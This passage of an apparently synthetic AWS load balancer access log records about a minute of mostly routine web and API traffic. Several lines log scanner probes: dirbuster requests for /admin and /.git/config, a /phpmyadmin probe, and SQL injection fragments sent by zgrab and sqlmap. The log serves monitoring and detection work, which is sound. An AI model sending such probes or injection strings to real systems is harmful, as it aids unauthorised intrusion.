"Root=1-6723c394-dbd44acbea24423ba4fffd4b" "prod-api-alb.example.com" "-" 7 2024-11-01T00:51:16.941106Z "forward" "-" "-" "10.0.74.21:443" "200" "-" "-" -https 2024-11-01T00:51:17.416174Z staging-alb 108.91.70.121:49638 1.152.124.138:443 0.002901 0.162648 0.101392 200 200 225 13788 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c395-a3e77e6405e84768aa60e4bf" "staging-alb.example.com" "-" 9 2024-11-01T00:51:17.416174Z "forward" "-" "-" "1.152.124.138:443" "200" "-" "-" -https 2024-11-01T00:51:18.595978Z prod-web-alb 239.138.250.21:61881 10.0.127.130:443 0.082142 0.063903 0.058913 200 200 281 4173 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c396-098a98feb9e743329302378a" "prod-web-alb.example.com" "-" 2 2024-11-01T00:51:18.595978Z "forward" "-" "-" "10.0.127.130:443" "200" "-" "-" -https 2024-11-01T00:51:20.541566Z prod-api-alb 17.119.24.177:39889 10.0.109.103:443 0.026957 0.131726 0.012094 301 301 898 12284 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c398-47d7404935b44f1aa9870d0f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:51:20.541566Z "forward" "-" "-" "10.0.109.103:443" "301" "-" "-" -http 2024-11-01T00:51:21.942907Z staging-alb 178.187.53.129:15668 155.66.127.41:80 0.099074 0.686100 0.109599 200 200 962 4731 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c399-576fbd7f31554d7b84e07569" "staging-alb.example.com" "-" 10 2024-11-01T00:51:21.942907Z "forward" "-" "-" "155.66.127.41:80" "200" "-" "-" -https 2024-11-01T00:51:23.232280Z prod-web-alb 69.9.22.141:40425 10.0.164.132:443 0.049102 0.282262 0.057756 200 200 299 4079 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c39b-9715224e35a9459f9dbb6452" "prod-web-alb.example.com" "-" 3 2024-11-01T00:51:23.232280Z "forward" "-" "-" "10.0.164.132:443" "200" "-" "-" -https 2024-11-01T00:51:24.815178Z prod-api-alb 240.46.226.210:11150 10.0.195.192:443 0.002749 0.233595 0.010768 302 302 276 5436 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c39c-5f60d462946942c9ab8883f4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:51:24.815178Z "forward" "-" "-" "10.0.195.192:443" "302" "-" "-" -https 2024-11-01T00:51:25.938038Z staging-alb 155.106.157.39:50771 187.105.10.197:80 0.111133 0.091598 0.013705 200 200 746 2316 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c39d-6e38d396ee13491bb0623c4f" "staging-alb.example.com" "-" 6 2024-11-01T00:51:25.938038Z "forward" "-" "-" "187.105.10.197:80" "200" "-" "-" -https 2024-11-01T00:51:26.402486Z prod-web-alb 45.155.205.102:29205 10.0.24.191:443 0.082216 0.073273 0.001022 302 302 641 10729 "GET /admin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c39e-a756d704c15b4330aaa377a9" "-" "-" 1 2024-11-01T00:51:26.402486Z "forward" "-" "-" "10.0.24.191:443" "302" "-" "-" -http 2024-11-01T00:51:27.880376Z staging-alb 210.185.192.16:30617 150.137.104.126:443 0.059886 0.038596 0.019405 200 200 733 8970 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c39f-c15d1e3c24f44bdab0c5cc85" "staging-alb.example.com" "-" 5 2024-11-01T00:51:27.880376Z "forward" "-" "-" "150.137.104.126:443" "200" "-" "-" -https 2024-11-01T00:51:29.307651Z prod-web-alb 185.181.73.18:37372 10.0.104.111:443 0.075403 0.058442 0.018062 403 403 971 10484 "POST /.git/config HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3a1-a258f258be6c412a90b51aa5" "-" "-" 5 2024-11-01T00:51:29.307651Z "forward" "-" "-" "10.0.104.111:443" "403" "-" "-" -https 2024-11-01T00:51:29.439425Z prod-api-alb 199.115.74.95:24435 10.0.20.92:443 0.011349 0.204355 0.042275 200 200 675 13348 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3a1-38be92a3cfde444b8f8ee34e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:51:29.439425Z "forward" "-" "-" "10.0.20.92:443" "200" "-" "-" -https 2024-11-01T00:51:30.268486Z prod-web-alb 98.27.253.60:44351 10.0.153.172:443 0.006950 0.339039 0.049748 200 200 210 6518 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3a2-c6ca3d567dda4652ae2bf94e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:51:30.268486Z "forward" "-" "-" "10.0.153.172:443" "200" "-" "-" -https 2024-11-01T00:51:32.228909Z staging-alb 175.236.215.125:29711 166.211.207.11:443 0.046612 0.593439 0.006156 404 404 530 13934 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3a4-8c5cdc9f9bee485a84f51501" "staging-alb.example.com" "-" 5 2024-11-01T00:51:32.228909Z "forward" "-" "-" "166.211.207.11:443" "404" "-" "-" -https 2024-11-01T00:51:34.109375Z staging-alb 63.0.57.61:26011 74.217.12.197:8080 0.122466 0.274226 0.112213 200 200 528 10402 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3a6-0df579d1b0214081b4968e96" "staging-alb.example.com" "-" 9 2024-11-01T00:51:34.109375Z "forward" "-" "-" "74.217.12.197:8080" "200" "-" "-" -http 2024-11-01T00:51:35.531197Z staging-alb 84.40.79.93:43372 205.38.65.94:80 0.039562 0.587929 0.007664 200 200 790 9386 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3a7-4b593ed180f3406c9caba6b5" "staging-alb.example.com" "-" 3 2024-11-01T00:51:35.531197Z "forward" "-" "-" "205.38.65.94:80" "200" "-" "-" -https 2024-11-01T00:51:36.285026Z prod-api-alb 173.243.178.63:39110 10.0.201.129:443 0.049165 0.384550 0.046225 200 200 189 14519 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3a8-d1d23ec4a9154d21bfe8082d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:36.285026Z "forward" "-" "-" "10.0.201.129:443" "200" "-" "-" -https 2024-11-01T00:51:37.084293Z prod-api-alb 79.3.174.91:33517 10.0.15.38:443 0.088058 0.270716 0.054603 200 200 310 11317 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3a9-3b079272fe2a477b811f9df9" "prod-api-alb.example.com" "-" 5 2024-11-01T00:51:37.084293Z "forward" "-" "-" "10.0.15.38:443" "200" "-" "-" -https 2024-11-01T00:51:37.627716Z staging-alb 119.242.247.136:11582 203.151.187.224:80 0.012344 0.435409 0.105801 404 404 162 14536 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3a9-695d3ba4baa048ae969f78a9" "staging-alb.example.com" "-" 2 2024-11-01T00:51:37.627716Z "forward" "-" "-" "203.151.187.224:80" "404" "-" "-" -https 2024-11-01T00:51:38.065327Z prod-web-alb 116.254.145.83:53409 10.0.13.167:443 0.074858 0.402177 0.041465 200 200 930 14998 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3aa-8bac8990966f40c794e5cf72" "prod-web-alb.example.com" "-" 2 2024-11-01T00:51:38.065327Z "forward" "-" "-" "10.0.13.167:443" "200" "-" "-" -https 2024-11-01T00:51:38.197635Z staging-alb 209.49.63.22:64964 120.31.87.200:8080 0.033494 0.482784 0.090103 200 200 865 339 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3aa-fc3709eb03a74e28be916e4d" "staging-alb.example.com" "-" 10 2024-11-01T00:51:38.197635Z "forward" "-" "-" "120.31.87.200:8080" "200" "-" "-" -https 2024-11-01T00:51:38.757942Z prod-web-alb 193.27.228.75:28962 10.0.221.206:443 0.022239 0.374217 0.006648 301 301 665 13825 "POST /phpmyadmin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3aa-81c01f68300441db9a9b5b70" "-" "-" 9 2024-11-01T00:51:38.757942Z "forward" "-" "-" "10.0.221.206:443" "301" "-" "-" -https 2024-11-01T00:51:39.699915Z prod-api-alb 35.131.87.44:18714 10.0.62.3:443 0.043489 0.230164 0.025688 200 200 916 12498 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ab-b7d218a7978a4900baa1b430" "prod-api-alb.example.com" "-" 7 2024-11-01T00:51:39.699915Z "forward" "-" "-" "10.0.62.3:443" "200" "-" "-" -https 2024-11-01T00:51:39.938968Z prod-web-alb 160.250.180.147:49777 10.0.191.109:443 0.075478 0.009074 0.081757 200 200 519 653 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3ab-6373093741ca4597bd817e6c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:51:39.938968Z "forward" "-" "-" "10.0.191.109:443" "200" "-" "-" -http 2024-11-01T00:51:40.506887Z staging-alb 109.52.129.52:28861 247.47.84.62:80 0.128311 0.528722 0.007544 200 200 775 5503 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3ac-3abb25a0a4944892ab65354a" "staging-alb.example.com" "-" 10 2024-11-01T00:51:40.506887Z "forward" "-" "-" "247.47.84.62:80" "200" "-" "-" -https 2024-11-01T00:51:41.278104Z prod-api-alb 233.214.158.253:37499 10.0.70.130:443 0.087619 0.100443 0.018176 200 200 978 1006 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3ad-e299994f3dbc4dc8ab6a33e3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:41.278104Z "forward" "-" "-" "10.0.70.130:443" "200" "-" "-" -https 2024-11-01T00:51:42.044691Z prod-web-alb 90.161.74.14:54590 10.0.232.208:443 0.002400 0.246595 0.003746 301 301 35 6566 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3ae-a13bc5a096c24419aaf5bf5c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:51:42.044691Z "forward" "-" "-" "10.0.232.208:443" "301" "-" "-" -http 2024-11-01T00:51:43.781796Z staging-alb 164.141.45.135:57129 119.77.25.96:443 0.140551 0.547714 0.102632 301 301 330 11436 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3af-e1013872dabc4153b4ad7648" "staging-alb.example.com" "-" 4 2024-11-01T00:51:43.781796Z "forward" "-" "-" "119.77.25.96:443" "301" "-" "-" -https 2024-11-01T00:51:45.178459Z prod-api-alb 223.238.44.138:22418 10.0.70.125:443 0.059389 0.383331 0.097037 302 302 35 10246 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3b1-801bfdf0116048e49ad9c9f1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:51:45.178459Z "forward" "-" "-" "10.0.70.125:443" "302" "-" "-" -https 2024-11-01T00:51:46.269495Z prod-api-alb 68.212.206.218:49888 10.0.253.30:443 0.039609 0.008089 0.026430 404 404 917 5527 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3b2-9a542607ce984f8cb7de7991" "prod-api-alb.example.com" "-" 2 2024-11-01T00:51:46.269495Z "forward" "-" "-" "10.0.253.30:443" "404" "-" "-" -http 2024-11-01T00:51:47.545107Z staging-alb 236.37.183.231:52811 215.95.202.161:80 0.024764 0.402197 0.138130 301 301 855 7775 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3b3-6a27f1db3e6447ba8be89b28" "staging-alb.example.com" "-" 10 2024-11-01T00:51:47.545107Z "forward" "-" "-" "215.95.202.161:80" "301" "-" "-" -https 2024-11-01T00:51:48.370299Z prod-api-alb 205.228.4.38:24402 10.0.109.14:443 0.082831 0.374773 0.052602 200 200 687 12387 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3b4-6221d557189f465eaa8dda24" "prod-api-alb.example.com" "-" 5 2024-11-01T00:51:48.370299Z "forward" "-" "-" "10.0.109.14:443" "200" "-" "-" -http 2024-11-01T00:51:49.684479Z staging-alb 183.12.103.96:57490 79.156.72.35:80 0.149067 0.741971 0.069950 200 200 435 308 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3b5-c3afa530b8c046af8495f5c2" "staging-alb.example.com" "-" 10 2024-11-01T00:51:49.684479Z "forward" "-" "-" "79.156.72.35:80" "200" "-" "-" -https 2024-11-01T00:51:51.297189Z prod-web-alb 76.143.116.247:14906 10.0.93.187:443 0.086759 0.186846 0.075743 301 301 191 5440 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3b7-1256ec7a0b704348828a745c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:51:51.297189Z "forward" "-" "-" "10.0.93.187:443" "301" "-" "-" -https 2024-11-01T00:51:52.110100Z prod-web-alb 16.160.106.62:23618 10.0.222.36:443 0.087595 0.487991 0.097887 301 301 86 336 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3b8-1ec8431808a3411b9eafec09" "prod-web-alb.example.com" "-" 9 2024-11-01T00:51:52.110100Z "forward" "-" "-" "10.0.222.36:443" "301" "-" "-" -http 2024-11-01T00:51:52.653845Z staging-alb 10.12.3.174:45995 115.146.176.140:80 0.142376 0.592914 0.014363 200 200 335 2371 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3b8-4db7b8910a194f08aa7b2ed2" "staging-alb.example.com" "-" 3 2024-11-01T00:51:52.653845Z "forward" "-" "-" "115.146.176.140:80" "200" "-" "-" -https 2024-11-01T00:51:53.863868Z prod-api-alb 229.182.76.168:55286 10.0.196.251:443 0.028095 0.119710 0.064785 404 404 391 2392 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3b9-4da72582a8f94b8c8d279ed6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:51:53.863868Z "forward" "-" "-" "10.0.196.251:443" "404" "-" "-" -https 2024-11-01T00:51:55.356151Z prod-web-alb 57.76.113.131:34997 10.0.18.36:443 0.075045 0.421087 0.085767 200 200 696 10107 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3bb-62cc090ae16648969854bd4a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:51:55.356151Z "forward" "-" "-" "10.0.18.36:443" "200" "-" "-" -https 2024-11-01T00:51:57.326964Z prod-api-alb 67.191.126.71:57649 10.0.176.93:443 0.079096 0.420244 0.061110 200 200 844 2080 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3bd-bd89126e78004013b677de13" "prod-api-alb.example.com" "-" 9 2024-11-01T00:51:57.326964Z "forward" "-" "-" "10.0.176.93:443" "200" "-" "-" -https 2024-11-01T00:51:58.427613Z prod-api-alb 231.7.176.27:38531 10.0.228.152:443 0.038424 0.176534 0.068487 302 302 302 14073 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3be-ea91d0d4ffce47deab291d76" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:58.427613Z "forward" "-" "-" "10.0.228.152:443" "302" "-" "-" -http 2024-11-01T00:52:00.272933Z staging-alb 135.117.51.116:55914 86.195.4.104:80 0.073162 0.679336 0.041693 200 200 540 2570 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3c0-04a4bd4d8fa04e05b6be464e" "staging-alb.example.com" "-" 4 2024-11-01T00:52:00.272933Z "forward" "-" "-" "86.195.4.104:80" "200" "-" "-" -https 2024-11-01T00:52:01.101712Z prod-web-alb 45.68.195.53:28088 10.0.251.117:443 0.014571 0.489905 0.019975 301 301 116 3061 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3c1-f01e6f5e52aa46f08a389bc2" "prod-web-alb.example.com" "-" 9 2024-11-01T00:52:01.101712Z "forward" "-" "-" "10.0.251.117:443" "301" "-" "-" -https 2024-11-01T00:52:01.637193Z staging-alb 250.64.43.255:45268 177.221.29.248:80 0.127538 0.020286 0.096574 301 301 967 10073 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3c1-173a8371c28348138a211b9a" "staging-alb.example.com" "-" 6 2024-11-01T00:52:01.637193Z "forward" "-" "-" "177.221.29.248:80" "301" "-" "-" -https 2024-11-01T00:52:02.723990Z prod-api-alb 46.63.151.58:28998 10.0.53.97:443 0.045879 0.219532 0.016616 200 200 215 11367 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3c2-c8eb303c7bba44e387e95a63" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:02.723990Z "forward" "-" "-" "10.0.53.97:443" "200" "-" "-" -https 2024-11-01T00:52:03.011552Z prod-web-alb 7.58.121.175:10524 10.0.78.92:443 0.088947 0.306228 0.055715 200 200 885 9189 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c3-d1e0dcd14b6147cbaab020e8" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:03.011552Z "forward" "-" "-" "10.0.78.92:443" "200" "-" "-" -https 2024-11-01T00:52:04.249203Z prod-web-alb 68.147.169.160:49397 10.0.5.44:443 0.048936 0.146454 0.088379 301 301 291 9767 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3c4-58ab4ff61a404ecfbf2e3aa7" "prod-web-alb.example.com" "-" 10 2024-11-01T00:52:04.249203Z "forward" "-" "-" "10.0.5.44:443" "301" "-" "-" -https 2024-11-01T00:52:05.086794Z prod-web-alb 45.148.49.36:12759 10.0.118.126:443 0.048769 0.040281 0.067226 404 404 675 3295 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c5-265af56b3eea4d339316061d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:52:05.086794Z "forward" "-" "-" "10.0.118.126:443" "404" "-" "-" -https 2024-11-01T00:52:06.183064Z prod-web-alb 185.181.95.188:10143 10.0.226.117:443 0.019342 0.449688 0.009907 403 403 103 3793 "POST /search?q=1' UNION SELECT HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3c6-bbddb3f55cd644e1b2e6d0fb" "-" "-" 5 2024-11-01T00:52:06.183064Z "forward" "-" "-" "10.0.226.117:443" "403" "-" "-" -https 2024-11-01T00:52:08.119542Z staging-alb 185.181.26.16:17487 113.167.83.230:443 0.095656 0.138938 0.105070 403 403 426 2743 "GET /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 